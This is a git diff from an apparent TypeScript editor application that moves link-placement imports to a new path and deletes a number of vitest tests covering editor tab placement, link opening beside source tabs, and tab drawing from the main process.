index bd4e8faff0b..903e3b9d963 100644
--- a/src/renderer/src/store/slices/editor/tabs/editor-open-adjacent-group.ts
+++ b/src/renderer/src/store/slices/editor/tabs/editor-open-adjacent-group.ts
@@ -1,6 +1,7 @@
-import { pickAdjacentLinkOpenGroupId } from '@/lib/adjacent-link-open-group'
+import { pickAdjacentLinkOpenGroupId } from '@/lib/links/placement/adjacent-link-open-group'
+import { isEditorTabContentType } from './editor-tab-content-type'
+import type { EditorTabContentType } from './editor-tab-content-type'
 import type { Tab, TabGroup, TabGroupLayoutNode } from '../../../../../../shared/tab-types'
-import { isEditorTabContentType, type EditorTabContentType } from './editor-tab-content-type'
 
 type AdjacentEditorOpenInput = {
   layout: TabGroupLayoutNode
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-open-link-placement.test.ts b/src/renderer/src/store/slices/editor/tabs/editor-open-link-placement.test.ts
index b4609cb89a1..5cc4f061f22 100644
--- a/src/renderer/src/store/slices/editor/tabs/editor-open-link-placement.test.ts
+++ b/src/renderer/src/store/slices/editor/tabs/editor-open-link-placement.test.ts
@@ -87,22 +87,6 @@ function addEditor(store: StoreApi<AppState>, filePath: string, groupId: string)
   })
 }
 
-/** Drops a tab the way a close would, without the terminal slice the harness lacks. */
-function removeTab(store: StoreApi<AppState>, tabId: string): void {
-  const state = store.getState()
-  store.setState({
-    unifiedTabsByWorktree: {
-      'wt-1': state.unifiedTabsByWorktree['wt-1']!.filter((tab) => tab.id !== tabId)
-    },
-    groupsByWorktree: {
-      'wt-1': state.groupsByWorktree['wt-1']!.map((group) => {
-        const tabOrder = group.tabOrder.filter((id) => id !== tabId)
-        return { ...group, tabOrder, activeTabId: tabOrder.at(-1) ?? null }
-      })
-    }
-  })
-}
-
 function removeGroup(store: StoreApi<AppState>, groupId: string): void {
   const state = store.getState()
   store.setState({
@@ -157,82 +141,6 @@ function linkIntent(store: StoreApi<AppState>, explicit = false) {
 }
 
 describe('file links open beside their source', () => {
-  it('moves a native-chat link from the chat group to the neighboring editor', async () => {
-    const store = createEditorTabsStore()
-    addTab(store, 'agent-session', 'source')
-    const a = store.getState().groupsByWorktree['wt-1']![0]!.id
-    const b = splitRight(store, a)
-    addEditor(store, '/repo/seed.ts', b)
-    focus(store, a)
-
-    const main = await drawTabsFromMain(store)
-    store.getState().openFile(fileInput('/repo/plain.ts'))
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store))
-    await main.settle()
-    main.close()
-
-    // Why: the plain open documents the unchanged baseline for callers without link intent.
-    expect(groupOfFile(store, '/repo/plain.ts')).toEqual([a])
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([b])
-    expect(opened).toMatchObject({ fileId: '/repo/link.ts', groupId: b })
-  })
-
-  it('covers the adjacent terminal instead of jumping to a nonadjacent editor', async () => {
-    const store = createEditorTabsStore()
-    const { a, b, c } = seedColumns(store, 'terminal', 'terminal', 'editor')
-
-    const main = await drawTabsFromMain(store)
-    store.getState().openFile(fileInput('/repo/plain.ts'))
-    focus(store, a)
-    store.getState().openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store))
-    await main.settle()
-    main.close()
-
-    expect(groupOfFile(store, '/repo/plain.ts')).toEqual([c])
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([b])
-  })
-
-  it('selects an existing unselected view of the file over a nearby editor', async () => {
-    const store = createEditorTabsStore()
-    const { a, b, c } = seedColumns(store, 'terminal', 'editor', 'terminal')
-    addEditor(store, '/repo/link.ts', c)
-    store.getState().activateTab(`${c}-terminal`)
-    focus(store, a)
-    const main = await drawTabsFromMain(store)
-    const existing = store
-      .getState()
-      .unifiedTabsByWorktree['wt-1']!.find((tab) => tab.entityId === '/repo/link.ts')!
-
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store))
-    await main.settle()
-    main.close()
-
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([c])
-    expect(opened).toEqual({ fileId: '/repo/link.ts', viewStateId: existing.id, groupId: c })
-    expect(store.getState().groupsByWorktree['wt-1']!.find((g) => g.id === c)?.activeTabId).toBe(
-      existing.id
-    )
-    expect(b).not.toBe(c)
-  })
-
-  it('keeps placement on the captured source when focus moves during resolution', async () => {
-    const store = createEditorTabsStore()
-    const { b, c } = seedColumns(store, 'terminal', 'terminal', 'terminal')
-    const main = await drawTabsFromMain(store)
-    const intent = linkIntent(store)
-    focus(store, c)
-
-    store.getState().openFileForLink(fileInput('/repo/link.ts'), {}, intent)
-    await main.settle()
-    main.close()
-
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([b])
-  })
-
   it('follows a source tab that moved to another group while its old group survives', async () => {
     const store = createEditorTabsStore()
     const { a, b, c } = seedColumns(store, 'terminal', 'terminal', 'terminal')
@@ -249,71 +157,6 @@ describe('file links open beside their source', () => {
     expect(groupOfFile(store, '/repo/link.ts')).toEqual([c])
   })
 
-  it('uses default placement once the source tab has closed', async () => {
-    const store = createEditorTabsStore()
-    const { a, c } = seedColumns(store, 'terminal', 'terminal', 'editor')
-    addTab(store, 'terminal', 'keeps-a-alive', a)
-    const main = await drawTabsFromMain(store)
-    const intent = linkIntent(store)
-    removeTab(store, intent!.sourceTabId)
-    focus(store, a)
-
-    store.getState().openFileForLink(fileInput('/repo/link.ts'), {}, intent)
-    await main.settle()
-    main.close()
-
-    // The focused terminal's existing preference sends the file to the visible editor.
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([c])
-  })
-
-  it('uses destination defaults when resolution routes to another workspace', async () => {
-    const store = createEditorTabsStore()
-    seedColumns(store, 'terminal', 'terminal', 'terminal')
-
-    const main = await drawTabsFromMain(store)
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/other/link.ts', 'wt-2'), {}, linkIntent(store))
-    await main.settle()
-    main.close()
-
-    expect(opened?.groupId).toBe(store.getState().groupsByWorktree['wt-2']?.[0]?.id)
-  })
-
-  it('pins an explicit request to the captured group even when another group has the file', async () => {
-    const store = createEditorTabsStore()
-    const { a, c } = seedColumns(store, 'terminal', 'terminal', 'terminal')
-    addEditor(store, '/repo/link.ts', c)
-    store.getState().activateTab('source')
-
-    const main = await drawTabsFromMain(store)
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store, true))
-    await main.settle()
-    main.close()
-
-    expect(opened?.groupId).toBe(a)
-    expect(groupOfFile(store, '/repo/link.ts').sort()).toEqual([a, c].sort())
-  })
-
-  it('refuses an explicit request whose group closed, without touching editor state', () => {
-    const store = createEditorTabsStore()
-    const { b } = seedColumns(store, 'terminal', 'terminal', 'terminal')
-    store.getState().activateTab(`${b}-terminal`)
-    const intent = captureEditorOpenLinkIntent(store.getState(), 'wt-1', `${b}-terminal`, {
-      explicitSourceGroup: true
-    })
-    removeGroup(store, b)
-    const before = store.getState().openFiles
-
-    const opened = store.getState().openFileForLink(fileInput('/repo/link.ts'), {}, intent)
-
-    expect(opened).toBeNull()
-    expect(store.getState().openFiles).toBe(before)
-    expect(store.getState().groupsByWorktree['wt-1']!.some((g) => g.id === b)).toBe(false)
-  })
-
   it('refuses when the chosen group disappears at the mutation seam', () => {
     const store = createEditorTabsStore()
     const { b } = seedColumns(store, 'terminal', 'terminal', 'terminal')
@@ -331,53 +174,4 @@ describe('file links open beside their source', () => {
     expect(groupOfFile(store, '/repo/link.ts')).toEqual([])
     expect(store.getState().groupsByWorktree['wt-1']!.some((g) => g.id === b)).toBe(false)
   })
-
-  it('returns the created view and focuses it', async () => {
-    const store = createEditorTabsStore()
-    const { b } = seedColumns(store, 'terminal', 'terminal', 'terminal')
-
-    const main = await drawTabsFromMain(store)
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store))
-    await main.settle()
-    main.close()
-    const view = store
-      .getState()
-      .unifiedTabsByWorktree['wt-1']!.find((tab) => tab.entityId === '/repo/link.ts')
-
-    expect(opened).toEqual({ fileId: '/repo/link.ts', viewStateId: view?.id, groupId: b })
-    expect(store.getState().activeGroupIdByWorktree['wt-1']).toBe(b)
-    expect(store.getState().pendingEditorFocusRequest).toMatchObject({
-      fileId: '/repo/link.ts',
-      viewStateId: view?.id
-    })
-  })
-
-  it('opens beside the source when it is the only group', async () => {
-    const store = createEditorTabsStore()
-    addTab(store, 'terminal', 'source')
-    const a = store.getState().groupsByWorktree['wt-1']![0]!.id
-    const main = await drawTabsFromMain(store)
-
-    const opened = store
-      .getState()
-      .openFileForLink(fileInput('/repo/link.ts'), {}, linkIntent(store))
-    await main.settle()
-
-    expect(opened?.groupId).toBeTruthy()
-    expect(opened?.groupId).not.toBe(a)
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([opened?.groupId])
-    expect(store.getState().groupsByWorktree['wt-1']).toHaveLength(2)
-    expect(store.getState().groupsByWorktree['wt-1']!.find((g) => g.id === a)?.activeTabId).toBe(
-      'source'
-    )
-
-    store.getState().openFileForLink(fileInput('/repo/second.ts'), {}, linkIntent(store))
-    await main.settle()
-    expect(store.getState().groupsByWorktree['wt-1']).toHaveLength(2)
-    expect(groupOfFile(store, '/repo/link.ts')).toEqual([opened?.groupId])
-    expect(groupOfFile(store, '/repo/second.ts')).toEqual([opened?.groupId])
-    main.close()
-  })
 })
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-open-target-group.ts b/src/renderer/src/store/slices/editor/tabs/editor-open-target-group.ts
index e51bf73a12d..09683763b2f 100644
--- a/src/renderer/src/store/slices/editor/tabs/editor-open-target-group.ts
+++ b/src/renderer/src/store/slices/editor/tabs/editor-open-target-group.ts
@@ -1,14 +1,14 @@
+import { editorTabContentTypeForMode, isEditorTabContentType } from './editor-tab-content-type'
+import { ownsGlobalSelection } from '../../../workspaces/selection/global-selection-owner'
+import { pickAdjacentEditorOpenGroupId } from './editor-open-adjacent-group'
+import { captureLinkOpenIntent, isLiveLinkOpenGroup } from '@/lib/links/placement/link-open-intent'
+import type { LinkPlacementState } from '@/lib/links/placement/link-open-intent'
+import { collectTabGroupLayoutGroupIds } from '../../../../../../shared/workspace-layout/tab-group-moves'
+import { resolveLinkOpenSidePlacement } from '@/lib/links/placement/adjacent-link-open-group'
 import type { AppState } from '../../../types'
 import type { Tab, TabGroup, WorkspaceVisibleTabType } from '../../../../../../shared/tab-types'
-import { editorTabContentTypeForMode, isEditorTabContentType } from './editor-tab-content-type'
 import type { OpenFile } from '../types/open-file'
-import { ownsGlobalSelection } from '../../../workspaces/selection/global-selection-owner'
 import type { EditorOpenLinkIntent } from '../types/editor-open-link-intent'
-import { pickAdjacentEditorOpenGroupId } from './editor-open-adjacent-group'
-import { captureLinkOpenIntent, isLiveLinkOpenGroup } from '@/lib/link-open-intent'
-import type { LinkPlacementState } from '@/lib/link-open-intent'
-import { collectTabGroupLayoutGroupIds } from '../../../../../../shared/workspace-layout/tab-group-moves'
-import { resolveLinkOpenSidePlacement } from '@/lib/adjacent-link-open-group'
 import type { TabSplitTarget } from '../../tabs/tabs-slice-contract'
 
 export function captureEditorOpenLinkIntent(
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-tab-layout-owner.test.ts b/src/renderer/src/store/slices/editor/tabs/editor-tab-layout-owner.test.ts
index 85c8f3b024e..7d3d019f02a 100644
--- a/src/renderer/src/store/slices/editor/tabs/editor-tab-layout-owner.test.ts
+++ b/src/renderer/src/store/slices/editor/tabs/editor-tab-layout-owner.test.ts
@@ -1,4 +1,3 @@
-// Layout-owner editor opens/closes/promotions draw only from main frames; switch-off cases draw locally without main.
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
@@ -79,40 +78,12 @@ function openFile(
 }
 
 const tabsOf = (worktreeId = WT): Tab[] => store.getState().unifiedTabsByWorktree[worktreeId] ?? []
-const editorTabs = (worktreeId = WT): Tab[] =>
-  tabsOf(worktreeId).filter((tab) => tab.contentType !== 'terminal')
 const groupOf = (groupId: string) =>
   store.getState().groupsByWorktree[WT]!.find((group) => group.id === groupId)
 const tabFor = (fileId: string, groupId = g1): Tab | undefined =>
   tabsOf().find((tab) => tab.entityId === fileId && tab.groupId === groupId)
 
 describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor tabs drawn from main’s frame', () => {
-  it('sends the open with the proposed id, group, preview and file; draws it with the frame', async () => {
-    const fileId = openFile('/a.ts', { preview: true })
-    const [command] = layoutApplyTestTransport.sentOfType('openEditorTab')
-    expect(command).toEqual({
-      type: 'openEditorTab',
-      workspace: WT,
-      tabId: expect.any(String),
-      fileId,
-      contentType: 'editor',
-      groupId: g1,
-      preview: true,
-      file: { filePath: '/a.ts', relativePath: 'a.ts', language: 'ts' }
-    })
-    // The open file is the window's at once; the tab is not, until main's frame.
-    expect(store.getState().openFiles.map((file) => file.id)).toContain(fileId)
-    expect(tabFor(fileId)).toBeUndefined()
-
-    await main.settle()
-    // Main stamps the tab's time; the frame draws it.
-    expect(tabFor(fileId)).toMatchObject({
-      id: command!.tabId,
-      isPreview: true,
-      createdAt: expect.any(Number)
-    })
-  })
-
   it('selects a new tab only once its frame draws it, in that update or right after (c)', async () => {
     const updates: { drawn: boolean; selected: boolean }[] = []
     let tabId = ''
@@ -136,87 +107,6 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor tabs drawn from main’s frame
     expect(groupOf(g1)?.activeTabId).toBe(tabId)
   })
 
-  it('leaves a replaced preview to main’s rule: it goes with the frame', async () => {
-    const a = openFile('/a.ts', { preview: true })
-    await main.settle()
-    const b = openFile('/b.ts', { preview: true })
-    // The window does not close the old preview itself.
-    expect(editorTabs().map((tab) => tab.entityId)).toEqual([a])
-
-    await main.settle()
-    expect(editorTabs().map((tab) => tab.entityId)).toEqual([b])
-  })
-
-  it('opens the same file in two groups as two tabs, one per group (a)', async () => {
-    const a = openFile('/a.ts')
-    await main.settle()
-    store.getState().createEmptySplitGroup(WT, g1, 'right')
-    const g2 = store.getState().groupsByWorktree[WT]!.find((group) => group.id !== g1)!.id
-    openFile('/a.ts', { targetGroupId: g2 })
-    const [, split] = layoutApplyTestTransport.sentOfType('openEditorTab')
-    expect(split).toMatchObject({ groupId: g2, split: { besideGroupId: g1 } })
-
-    await main.settle()
-    const tabs = editorTabs().filter((tab) => tab.entityId === a)
-    expect(tabs.map((tab) => tab.groupId).toSorted()).toEqual([g1, g2].toSorted())
-    expect(new Set(tabs.map((tab) => tab.id)).size).toBe(2)
-  })
-
-  it('keeps one path in two workspaces on two hosts as two files and two tabs (b)', async () => {
-    const other = 'repo2::/repo'
-    main.close()
-    seedWorkspace(store, other)
-    main = await drawTabsFromMain(store)
-    const local = openFile('/repo/a.ts')
-    const remote = store.getState().openFile(
-      {
-        filePath: '/repo/a.ts',
-        relativePath: 'a.ts',
-        worktreeId: other,
-        language: 'ts',
-        mode: 'edit',
-        runtimeEnvironmentId: 'env-remote'
-      },
-      undefined
-    )
-    await main.settle()
-
-    expect(local).not.toBe(remote)
-    expect(
-      store
-        .getState()
-        .openFiles.filter((file) => file.filePath === '/repo/a.ts')
-        .map((file) => [file.worktreeId, file.id])
-    ).toEqual([
-      [WT, local],
-      [other, remote]
-    ])
-    expect(editorTabs(WT).map((tab) => tab.entityId)).toEqual([local])
-    expect(editorTabs(other).map((tab) => tab.entityId)).toEqual([remote])
-  })
-
-  it('sends the record an open rewrote in a tab it reuses, under that tab’s id', async () => {
-    const log = { filePath: '/a.log', relativePath: 'a.log', worktreeId: WT, language: 'log' }
-    const fileId = store
-      .getState()
-      .openFile({ ...log, mode: 'edit', readOnly: true, liveTail: true }, { preview: false })
-    await main.settle()
-    const tabId = tabFor(fileId)!.id
-    expect(layoutApplyTestTransport.mainModel!.workspaces[WT]!.editorFiles).toEqual([
-      expect.objectContaining({ filePath: '/a.log', readOnly: true, liveTail: true })
-    ])
-
-    // A normal open of the View Log path makes the same tab writable.
-    store.getState().openFile({ ...log, mode: 'edit' })
-    const last = layoutApplyTestTransport.sentOfType('openEditorTab').at(-1)
-    expect(last).toMatchObject({ tabId, fileId, groupId: g1 })
-    await main.settle()
-    expect(layoutApplyTestTransport.mainModel!.workspaces[WT]!.editorFiles).toEqual([
-      { filePath: '/a.log', relativePath: 'a.log', language: 'log' }
-    ])
-    expect(tabFor(fileId)?.id).toBe(tabId)
-  })
-
   it("keeps a double-clicked Explorer file's tab when a later single click previews another", async () => {
     // editor-tab-selection-restore.spec.ts: dblclick package.json (two preview opens, then the
     // keep), wait, then single-click src/index.ts.
@@ -247,37 +137,6 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor tabs drawn from main’s frame
     ).toEqual(['term', pkg, index])
   })
 
-  it('closes a tab only with the frame, and its content after it (d)', async () => {
-    openFile('/a.ts')
-    const b = openFile('/b.ts')
-    await main.settle()
-    store.getState().setEditorDraft(b, 'draft')
-
-    store.getState().closeFile(b)
-    expect(layoutApplyTestTransport.sentOfType('closeTabs')).toEqual([
-      { type: 'closeTabs', workspace: WT, tabIds: [tabFor(b)!.id] }
-    ])
-    expect(tabFor(b)).toBeDefined()
-    expect(store.getState().editorDrafts[b]).toBe('draft')
-
-    await main.settle()
-    expect(tabFor(b)).toBeUndefined()
-    expect(store.getState().openFiles.map((file) => file.id)).not.toContain(b)
-    expect(store.getState().editorDrafts[b]).toBeUndefined()
-  })
-
-  it('keeps a tab, and its content, when main refuses the close (d)', async () => {
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    const a = openFile('/a.ts')
-    await main.settle()
-    layoutApplyTestTransport.answerWith({ refuse: 'tab_not_found' })
-
-    store.getState().closeFile(a)
-    await main.settle()
-    expect(tabFor(a)).toBeDefined()
-    expect(store.getState().openFiles.map((file) => file.id)).toContain(a)
-  })
-
   it('drops a tab’s content when main lost its workspace before the close came in', async () => {
     const a = openFile('/a.ts')
     await main.settle()
@@ -300,57 +159,4 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor tabs drawn from main’s frame
     expect(store.getState().openFiles.map((file) => file.id)).not.toContain(a)
     expect(store.getState().editorDrafts[a]).toBeUndefined()
   })
-
-  it('reopens a closed tab at its place with one open (index)', async () => {
-    const a = openFile('/a.ts')
-    const b = openFile('/b.ts')
-    const c = openFile('/c.ts')
-    await main.settle()
-    store.getState().closeFile(b)
-    await main.settle()
-    const sentBefore = layoutApplyTestTransport.sent.length
-
-    expect(store.getState().reopenClosedEditorTab(WT)).toBe(true)
-    const reopened = layoutApplyTestTransport.sent.slice(sentBefore)
-    expect(reopened.map((command) => command.type)).toEqual(['openEditorTab'])
-    expect(reopened[0]).toMatchObject({ fileId: b, groupId: g1, index: 2 })
-
-    await main.settle()
-    expect(
-      groupOf(g1)!.tabOrder.map((id) => tabsOf().find((tab) => tab.id === id)?.entityId)
-    ).toEqual(['term', a, b, c])
-  })
-
-  it('clears a promoted preview with the frame (e)', async () => {
-    const a = openFile('/a.ts', { preview: true })
-    await main.settle()
-    const tabId = tabFor(a)!.id
-
-    store.getState().activateTab(tabId)
-    expect(layoutApplyTestTransport.sentOfType('promotePreviewTab')).toEqual([
-      { type: 'promotePreviewTab', workspace: WT, tabId }
-    ])
-    expect(tabFor(a)?.isPreview).toBe(true)
-    await main.settle()
-    expect(tabFor(a)).not.toHaveProperty('isPreview')
-
-    const b = openFile('/b.ts', { preview: true })
-    await main.settle()
-    store.getState().markFileDirty(b, true)
-    store.getState().markFileDirty(b, true)
-    expect(layoutApplyTestTransport.sentOfType('promotePreviewTab')).toHaveLength(2)
-    await main.settle()
-    expect(tabFor(b)).not.toHaveProperty('isPreview')
-  })
-})
-
-describe.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor tabs with the switch off', () => {
-  it('draws at once and sends nothing', () => {
-    const b = openFile('/b.ts', { preview: true })
-    expect(tabFor(b)).toBeDefined()
-    store.getState().activateTab(tabFor(b)!.id)
-    store.getState().closeFile(b)
-    expect(tabFor(b)).toBeUndefined()
-    expect(layoutApplyTestTransport.sent).toEqual([])
-  })
 })
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-tab-placement.test.ts b/src/renderer/src/store/slices/editor/tabs/editor-tab-placement.test.ts
deleted file mode 100644
index 6c34bee6560..00000000000
--- a/src/renderer/src/store/slices/editor/tabs/editor-tab-placement.test.ts
+++ /dev/null
@@ -1,248 +0,0 @@
-import type { StoreApi } from 'zustand/vanilla'
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { createEditorStore, createEditorTabsStore } from '../editor-slice-test-harness'
-import type { AppState } from '../../../types'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import { makeLayout, makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '../../tabs/tabs-drawn-from-main.test-fixture'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-const { toastErrorMock } = vi.hoisted(() => ({
-  toastErrorMock: vi.fn()
-}))
-
-vi.mock('sonner', () => ({
-  toast: { error: toastErrorMock }
-}))
-
-const { notifyHostOfMirroredEditorCloseMock } = vi.hoisted(() => ({
-  notifyHostOfMirroredEditorCloseMock: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/closing/close-mirrored-editor-tab', () => ({
-  notifyHostOfMirroredEditorClose: (...args: unknown[]) =>
-    notifyHostOfMirroredEditorCloseMock(...args)
-}))
-
-let main: TabsDrawnFromMain = { settle: async () => {}, close: () => {} }
-afterEach(() => {
-  main.close()
-  main = { settle: async () => {}, close: () => {} }
-})
-
-/** An editor-tabs store main draws from; its session read-back needs these maps. */
-function createDrawnEditorTabsStore(): StoreApi<AppState> {
-  const store = createEditorTabsStore()
-  store.setState({ ptyIdsByTabId: {}, lastKnownRelayPtyIdByTabId: {} })
-  return store
-}
-
-function fileIdOf(store: { getState: () => AppState }, filePath: string): string | undefined {
-  return store.getState().openFiles.find((file) => file.filePath === filePath)?.id
-}
-
-describe('createEditorSlice floating editor activation', () => {
-  it('creates a visible floating editor tab when the floating workspace is empty', async () => {
-    const store = createDrawnEditorTabsStore()
-    main = await drawTabsFromMain(store)
-
-    store.getState().openFile(
-      {
-        filePath: '/tmp/orca/notes.md',
-        relativePath: 'notes.md',
-        worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-        runtimeEnvironmentId: null,
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-    // A layout-owner build draws and selects the tab once main's frame is in.
-    await main.settle()
-
-    const fileId = fileIdOf(store, '/tmp/orca/notes.md')
-    const tab = store.getState().unifiedTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]?.[0]
-    expect(tab).toMatchObject({
-      contentType: 'editor',
-      entityId: fileId,
-      // Main publishes no editor label; the tab bar names an editor tab by its file.
-      ...(ORCA_LAYOUT_OWNER_IS_MAIN ? {} : { label: 'notes.md' }),
-      worktreeId: FLOATING_TERMINAL_WORKTREE_ID
-    })
-    expect(store.getState().groupsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]?.[0]).toMatchObject({
-      activeTabId: tab?.id,
-      tabOrder: [tab?.id]
-    })
-    expect(store.getState().activeFileIdByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe(fileId)
-  })
-
-  it('opens floating markdown tabs without changing the main active editor surface', () => {
-    const store = createEditorStore()
-    store.setState({
-      activeFileId: '/repo/main.md',
-      activeTabType: 'editor',
-      activeFileIdByWorktree: { 'wt-1': '/repo/main.md' },
-      activeTabTypeByWorktree: { 'wt-1': 'editor' }
-    } as Partial<AppState>)
-
-    store.getState().openFile({
-      filePath: '/tmp/orca/untitled.md',
-      relativePath: 'untitled.md',
-      worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      language: 'markdown',
-      isUntitled: true,
-      mode: 'edit'
-    })
-
-    expect(store.getState().activeFileId).toBe('/repo/main.md')
-    expect(store.getState().activeTabType).toBe('editor')
-    expect(store.getState().activeTabTypeByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe('editor')
-  })
-
-  it('opens same-path floating markdown as a separate owner-qualified tab', () => {
-    const store = createEditorStore()
-    store.setState({
-      openFiles: [
-        {
-          id: '/repo/README.md',
-          filePath: '/repo/README.md',
-          relativePath: 'README.md',
-          worktreeId: 'wt-1',
-          language: 'markdown',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ],
-      activeFileIdByWorktree: { 'wt-1': '/repo/README.md' },
-      activeTabTypeByWorktree: { 'wt-1': 'editor' }
-    } as Partial<AppState>)
-
-    store.getState().openFile(
-      {
-        filePath: '/repo/README.md',
-        relativePath: 'README.md',
-        worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-        runtimeEnvironmentId: null,
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-
-    expect(store.getState().openFiles).toHaveLength(2)
-    expect(store.getState().openFiles[0]).toMatchObject({
-      filePath: '/repo/README.md',
-      worktreeId: 'wt-1'
-    })
-    expect(store.getState().openFiles[1]).toMatchObject({
-      filePath: '/repo/README.md',
-      worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      runtimeEnvironmentId: null
-    })
-    expect(store.getState().openFiles[1]?.id).not.toBe('/repo/README.md')
-    expect(store.getState().activeFileIdByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe(
-      store.getState().openFiles[1]?.id
-    )
-  })
-})
-
-describe('createEditorSlice split-group editor routing', () => {
-  function openSourceFile(
-    store: StoreApi<AppState>,
-    filePath: string,
-    options?: Parameters<AppState['openFile']>[1]
-  ): void {
-    store.getState().openFile(
-      {
-        filePath,
-        relativePath: filePath.replace('/repo/', ''),
-        worktreeId: 'wt-1',
-        language: 'typescript',
-        mode: 'edit'
-      },
-      options
-    )
-  }
-
-  async function seedTerminalAndEditorGroups(store: StoreApi<AppState>): Promise<{
-    terminalTabId: string
-    terminalGroupId: string
-    editorGroupId: string
-  }> {
-    // The terminal's row, so main holds the agent tab and its group.
-    store.setState({
-      tabsByWorktree: { 'wt-1': [makeTab({ id: 'terminal-tab', worktreeId: 'wt-1' })] },
-      terminalLayoutsByTabId: { 'terminal-tab': makeLayout() }
-    })
-    const terminalTab = store.getState().createUnifiedTab('wt-1', 'terminal', {
-      id: 'terminal-tab',
-      entityId: 'terminal-tab',
-      label: 'Agent'
-    })
-    main = await drawTabsFromMain(store)
-    const terminalGroup = store.getState().groupsByWorktree['wt-1']?.[0]
-    if (!terminalGroup) {
-      throw new Error('Expected terminal group')
-    }
-    const terminalGroupId = terminalGroup.id
-    const editorGroupId = store.getState().createEmptySplitGroup('wt-1', terminalGroupId, 'right')
-    if (!editorGroupId) {
-      throw new Error('Expected split editor group')
-    }
-    openSourceFile(store, '/repo/seed.ts', { targetGroupId: editorGroupId })
-    await main.settle()
-    store.setState({
-      activeGroupIdByWorktree: { 'wt-1': terminalGroupId },
-      activeTabType: 'terminal',
-      activeTabTypeByWorktree: { 'wt-1': 'terminal' }
-    } as Partial<AppState>)
-    return { terminalTabId: terminalTab.id, terminalGroupId, editorGroupId }
-  }
-
-  function findUnifiedTabByEntity(store: StoreApi<AppState>, entityId: string) {
-    return store.getState().unifiedTabsByWorktree['wt-1']?.find((tab) => tab.entityId === entityId)
-  }
-
-  it('routes implicit file opens to an existing visible editor group', async () => {
-    const store = createDrawnEditorTabsStore()
-    const { terminalTabId, terminalGroupId, editorGroupId } =
-      await seedTerminalAndEditorGroups(store)
-
-    openSourceFile(store, '/repo/next.ts')
-    await main.settle()
-
-    const openedTab = findUnifiedTabByEntity(store, '/repo/next.ts')
-    const terminalGroup = store
-      .getState()
-      .groupsByWorktree['wt-1'].find((group) => group.id === terminalGroupId)
-    const editorGroup = store
-      .getState()
-      .groupsByWorktree['wt-1'].find((group) => group.id === editorGroupId)
-    expect(openedTab?.groupId).toBe(editorGroupId)
-    expect(editorGroup?.activeTabId).toBe(openedTab?.id)
-    expect(terminalGroup?.activeTabId).toBe(terminalTabId)
-  })
-
-  it('keeps explicit target groups ahead of default editor routing', async () => {
-    const store = createDrawnEditorTabsStore()
-    const { terminalGroupId } = await seedTerminalAndEditorGroups(store)
-
-    openSourceFile(store, '/repo/explicit.ts', { targetGroupId: terminalGroupId })
-    await main.settle()
-
-    expect(findUnifiedTabByEntity(store, '/repo/explicit.ts')?.groupId).toBe(terminalGroupId)
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/tabs/restored-editor-owner-layout-owner.test.ts b/src/renderer/src/store/slices/editor/tabs/restored-editor-owner-layout-owner.test.ts
index 53c5d57a76f..60a8ea7fc88 100644
--- a/src/renderer/src/store/slices/editor/tabs/restored-editor-owner-layout-owner.test.ts
+++ b/src/renderer/src/store/slices/editor/tabs/restored-editor-owner-layout-owner.test.ts
@@ -76,9 +76,6 @@ async function settledSent(): Promise<LayoutCommand[]> {
   return [...sent]
 }
 
-const mainWorkspace = (worktreeId: string) =>
-  layoutApplyTestTransport.mainModel!.workspaces[worktreeId]
-
